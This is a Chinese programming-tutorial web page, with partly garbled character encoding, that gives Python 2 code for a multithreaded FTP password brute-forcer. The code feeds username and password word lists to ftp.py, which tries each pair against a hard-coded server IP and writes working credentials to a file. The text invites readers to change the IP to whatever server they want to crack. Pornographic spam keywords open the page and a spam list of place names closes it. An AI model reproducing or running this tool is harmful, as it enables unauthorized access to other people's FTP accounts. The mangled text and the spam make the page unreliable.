国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 編程 > Python > 正文

python編寫(xiě)暴力破解FTP密碼小工具

2019-11-25 18:05:33
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

python具體強(qiáng)大的庫(kù)文件,很多功能都有相應(yīng)的庫(kù)文件,所以很有必要進(jìn)行學(xué)習(xí)一下,其中有一個(gè)ftp相應(yīng)的庫(kù)文件ftplib,我們只需要其中的登錄功能,然后利用多線程調(diào)用相應(yīng)字典里面的字段進(jìn)行登錄,還能根據(jù)自己的需要,根據(jù)自身的情況編寫(xiě)需要的程序,讓程序代替我們?nèi)プ鲆恍┛菰锏闹貜?fù)工作。

下面直接上代碼,下面是主文件

復(fù)制代碼 代碼如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘/n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘/n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相應(yīng)的ftp.py文件里面的代碼如下

復(fù)制代碼 代碼如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘a(chǎn)a.txt','a+')
hand.write(user+”:”+passwd+”/n”)
except ftplib.error_perm:
print “passwd is world”

由于插不近格式,里面的縮進(jìn)的什么的得自己手動(dòng)再調(diào)節(jié)一下

需要兩個(gè)文件,分別是user.txt和passwd.txt,這兩個(gè)分別是用戶名和賬戶的字典。

代碼其中的ftp破解IP可以自己修改成自己要破解的IP,最后正確的帳號(hào)和密碼會(huì)輸入到aa.txt文件中。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 临城县| 资中县| 抚宁县| 广丰县| 青岛市| 永丰县| 肃北| 衡阳县| 五河县| 广河县| 蓬安县| 龙口市| 同仁县| 侯马市| 云安县| 娄底市| 来宾市| 永济市| 临夏县| 中卫市| 桐乡市| 醴陵市| 汾阳市| 清水县| 科技| 嘉兴市| 谢通门县| 金秀| 浦城县| 曲阜市| 新蔡县| 民勤县| 吉安市| 漳平市| 伽师县| 巴南区| 济南市| 卢氏县| 溧水县| 丹寨县| 襄垣县|